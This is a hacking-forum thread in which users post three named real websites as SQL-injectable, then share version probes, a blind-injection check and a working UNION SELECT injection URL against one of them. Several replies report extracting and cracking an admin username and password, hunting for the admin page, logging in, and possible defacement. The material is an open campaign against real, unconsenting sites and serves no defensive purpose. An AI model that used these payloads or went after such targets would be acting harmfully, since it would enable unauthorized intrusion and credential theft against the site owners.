+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: {SQLi} 3 Vurnerable Sites{SQLi} (/showthread.php?tid=2632209)
Pages: Pages
1
2
{SQLi} 3 Vurnerable Sites{SQLi} - PlαyBoy - Jun 29, 2012
Hello,
Here are 3 new vurnerable sites have fun with them!
http://www.marmoon.com/games.php?id=437
http://pjsbt.vicp.net/news_view.php?id=106
http://www.marches-walks.co.uk/news_view.php?id=16
* - Vinster - Jul 15, 2012
thanks for this (: injected 1st one so far and unencrypted password :D
* - ajkaro - Jul 15, 2012
(Jun 29, 2012 11:34 AM)JakeZ- Wrote: http://www.marches-walks.co.uk/news_view.php?id=16
version 4.1.19-standard-log
(Jun 29, 2012 11:34 AM)JakeZ- Wrote: http://pjsbt.vicp.net/news_view.php?id=106
version 5.0.27-community-nt-log
(Jun 29, 2012 11:34 AM)JakeZ- Wrote: http://www.marmoon.com/games.php?id=437
version 5.0.51a-24+lenny5-log
* - Define© - Jul 15, 2012
the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10
how is it vulnerable?
* - Th3PonyWizard - Jul 15, 2012
(Jul 15, 2012 09:46 AM)wkdlewy Wrote: the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10
how is it vulnerable?
Code
http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=5--+ //no error
http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=4--+ //errorBlind
* - TheW3bster - Jul 15, 2012
(Jul 15, 2012 12:21 PM)Th3PonyWizard Wrote:Codehttp://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=5--+ //no error
http://www.marmoon.com/games.php?id=437 and substring(version(),1,1)=4--+ //error
Blind
Well i can ignore that one. I HATE blind injection D:
* - ajkaro - Jul 15, 2012
(Jul 15, 2012 09:46 AM)wkdlewy Wrote: the first one gives me:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/www/virtual/marmoon.com/htdocs/games.php on line 10
how is it vulnerable?
http://www.marmoon.com/games.php?id=-437 UNION SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--
[IMG]http://www.anonmgur.com/up/431c2fc84d42cca48c1fb620289d5c91.png[/IMG]
* - Th3PonyWizard - Jul 15, 2012
(Jul 15, 2012 03:15 PM)ajkaro Wrote: http://www.marmoon.com/games.php?id=-437 UNION SELECT 1,2,3,@@version,5,6,7,8,@@version,10,11,@@version,13--o-o
My mistake, I had errors checking columns so I thought using union ain't possible here :3
* - ajkaro - Jul 15, 2012
(Jul 15, 2012 12:46 PM)TheW3bster Wrote: Well i can ignore that one. I HATE blind injection D:
You can use UNION 👍 I hate blind too 🙃
* - partian - Jul 15, 2012
Nice find, if any are defaced surely OP should get some of what little credit for finding the sites,
just saying.
* - 2bone4u - Jul 15, 2012
Here is one to try: http://www.extremehairdo.co.nz
* - pica - Jul 17, 2012
Here you go: http://pastebin.com/Wjape4tC
Thats marmoon, not hackable...
* - thunderstrom - Feb 19, 2013
Cracking the first one right now Lulz....
Can't Find the Admin page of the first one :(
Have the Username And Pass ^^
* - kaui - Feb 19, 2013
Anyone change the password from first site?
Cant login with admin and asd***..
* - cyber uryuu - Apr 1, 2013
thanks for sharing those sites have a good day